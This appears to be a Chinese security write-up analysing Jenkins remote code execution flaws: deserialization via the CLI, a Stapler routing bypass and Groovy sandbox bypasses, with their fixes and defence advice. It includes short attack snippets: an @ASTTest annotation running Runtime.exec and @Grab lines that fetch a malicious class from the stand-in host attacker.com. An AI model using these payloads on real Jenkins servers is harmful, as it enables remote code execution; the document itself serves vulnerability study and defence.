Jenkins RCE漏洞分析汇总
字数 1909 2025-08-26 22:11:14

Jenkins RCE漏洞分析汇总

0x01 前言

Jenkins作为流行的持续集成工具,历史上存在多个远程代码执行漏洞。本文将对Jenkins的RCE漏洞进行系统分析,重点关注通过CLI和HTTP两种触发方式的漏洞原理及利用方法。

0x02 环境搭建

调试环境搭建方法:

  • 在catalina.sh或catalina.bat中添加调试参数
  • 使用命令开启调试端口(默认8000):
    • Windows: catalina.bat jpda start
    • Linux: catalina.sh jpda start

0x03 漏洞分析

CLI方式触发漏洞

CVE-2015-8103

漏洞原理

  • 利用Apache Commons Collections库构造POP链进行反序列化攻击
  • 通过Jenkins CLI的TCP Socket通信触发

漏洞触发流程

  1. 获取Jenkins CLI端口:X-Jenkins-CLI-Port
  2. 建立Socket连接
  3. 发送包含恶意序列化对象的请求

关键代码路径

  1. hudson.TcpSlaveAgentListener#ConnectionHandler.run()
  2. hudson.cli.CliProtocol#handle()
  3. hudson.remoting.ChannelBuilder#build()
  4. hudson.remoting.ChannelBuilder.negotiate()
  5. hudson.remoting.Capability#read() - 反序列化触发点

修复方式

  • 引入黑名单机制,禁止反序列化危险类
  • 黑名单包含org.apache.commons.collections.functors等关键类

CVE-2017-1000353

漏洞原理

  • 传输序列化的Java SignedObject对象绕过黑名单保护
  • 反序列化ObjectInputStream作为Command对象执行

影响版本:Jenkins LTS <= 2.46.1

关键代码路径

  1. hudson.cli.CLIAction处理HTTP请求
  2. hudson.model.FullDuplexHttpChannel#download
  3. hudson.remoting.ChannelBuilder#negotiate
  4. hudson.remoting.Command#readFrom - 反序列化触发点

修复方式

  • java.security.SignedObject加入黑名单

HTTP方式触发漏洞

CVE-2018-1000861

动态路由分析

  1. 所有请求由org.kohsuke.stapler.Stapler处理
  2. 路由解析优先级:
    • StaplerProxy
    • StaplerOverridable
    • StaplerFallback
  3. 路由解析过程:
    • 获取MetaClass
    • 通过反射调用对应方法

白名单绕过技术

  • 利用Java对象继承特性:所有对象都有getClass()方法
  • 示例利用链:
    /adjuncts/whatever/class/classLoader/resource/index.jsp/content
    
    对应调用链:
    getAdjuncts("whatever") 
    .getClass()
    .getClassLoader()
    .getResource("index.jsp")
    .getContent()
    

利用链条示例
/securityRealm/user/test解析过程:

  1. jenkins.model.Jenkins.getsecurityRealm()
  2. hudson.security.HudsonPrivateSecurityRealm.getUser()
  3. hudson.model.User处理
  4. hudson.model.DescriptorByNameOwner#getDescriptorByName

沙盒绕过技术

SECURITY-1266
  • 利用@ASTTest注解执行代码
    @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("command")})
    
  • 利用@Grab引入外部恶意类
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name='Exp', root='http://attacker.com/')
    @Grab(group='malicious', module='payload', version='1')
    
SECURITY-1292
  • 修复方式:增强黑名单,禁止危险注解
SECURITY-1318/1319/1320/1321
  • 新增禁止的注解类型:
    • GrabConfig
    • GrabExclude
    • GrabResolver
    • Grapes
    • AnnotationCollector
SECURITY-1353
  • 加强白名单机制,限制危险操作

0x04 漏洞利用

  • 推荐工具:pwn_jenkins项目
  • 利用要点:
    1. 识别Jenkins版本
    2. 根据版本选择合适的利用方式
    3. 构造对应payload
    4. 通过CLI或HTTP方式触发

防御建议

  1. 及时更新Jenkins到最新版本
  2. 限制CLI端口的网络访问
  3. 实施严格的网络隔离
  4. 监控异常行为

参考资源

  1. Jenkins官方安全公告
  2. CVE详细描述
  3. 漏洞利用PoC
  4. 沙盒绕过技术分析文章
Jenkins RCE漏洞分析汇总 0x01 前言 Jenkins作为流行的持续集成工具,历史上存在多个远程代码执行漏洞。本文将对Jenkins的RCE漏洞进行系统分析,重点关注通过CLI和HTTP两种触发方式的漏洞原理及利用方法。 0x02 环境搭建 调试环境搭建方法: 在catalina.sh或catalina.bat中添加调试参数 使用命令开启调试端口(默认8000): Windows: catalina.bat jpda start Linux: catalina.sh jpda start 0x03 漏洞分析 CLI方式触发漏洞 CVE-2015-8103 漏洞原理 : 利用Apache Commons Collections库构造POP链进行反序列化攻击 通过Jenkins CLI的TCP Socket通信触发 漏洞触发流程 : 获取Jenkins CLI端口: X-Jenkins-CLI-Port 建立Socket连接 发送包含恶意序列化对象的请求 关键代码路径 : hudson.TcpSlaveAgentListener#ConnectionHandler.run() hudson.cli.CliProtocol#handle() hudson.remoting.ChannelBuilder#build() hudson.remoting.ChannelBuilder.negotiate() hudson.remoting.Capability#read() - 反序列化触发点 修复方式 : 引入黑名单机制,禁止反序列化危险类 黑名单包含 org.apache.commons.collections.functors 等关键类 CVE-2017-1000353 漏洞原理 : 传输序列化的Java SignedObject对象绕过黑名单保护 反序列化ObjectInputStream作为Command对象执行 影响版本 :Jenkins LTS <= 2.46.1 关键代码路径 : hudson.cli.CLIAction 处理HTTP请求 hudson.model.FullDuplexHttpChannel#download hudson.remoting.ChannelBuilder#negotiate hudson.remoting.Command#readFrom - 反序列化触发点 修复方式 : 将 java.security.SignedObject 加入黑名单 HTTP方式触发漏洞 CVE-2018-1000861 动态路由分析 : 所有请求由 org.kohsuke.stapler.Stapler 处理 路由解析优先级: StaplerProxy StaplerOverridable StaplerFallback 路由解析过程: 获取MetaClass 通过反射调用对应方法 白名单绕过技术 : 利用Java对象继承特性:所有对象都有 getClass() 方法 示例利用链: 对应调用链: 利用链条示例 : /securityRealm/user/test 解析过程: jenkins.model.Jenkins.getsecurityRealm() hudson.security.HudsonPrivateSecurityRealm.getUser() hudson.model.User 处理 hudson.model.DescriptorByNameOwner#getDescriptorByName 沙盒绕过技术 : SECURITY-1266 利用 @ASTTest 注解执行代码 利用 @Grab 引入外部恶意类 SECURITY-1292 修复方式:增强黑名单,禁止危险注解 SECURITY-1318/1319/1320/1321 新增禁止的注解类型: GrabConfig GrabExclude GrabResolver Grapes AnnotationCollector SECURITY-1353 加强白名单机制,限制危险操作 0x04 漏洞利用 推荐工具: pwn_jenkins 项目 利用要点: 识别Jenkins版本 根据版本选择合适的利用方式 构造对应payload 通过CLI或HTTP方式触发 防御建议 及时更新Jenkins到最新版本 限制CLI端口的网络访问 实施严格的网络隔离 监控异常行为 参考资源 Jenkins官方安全公告 CVE详细描述 漏洞利用PoC 沙盒绕过技术分析文章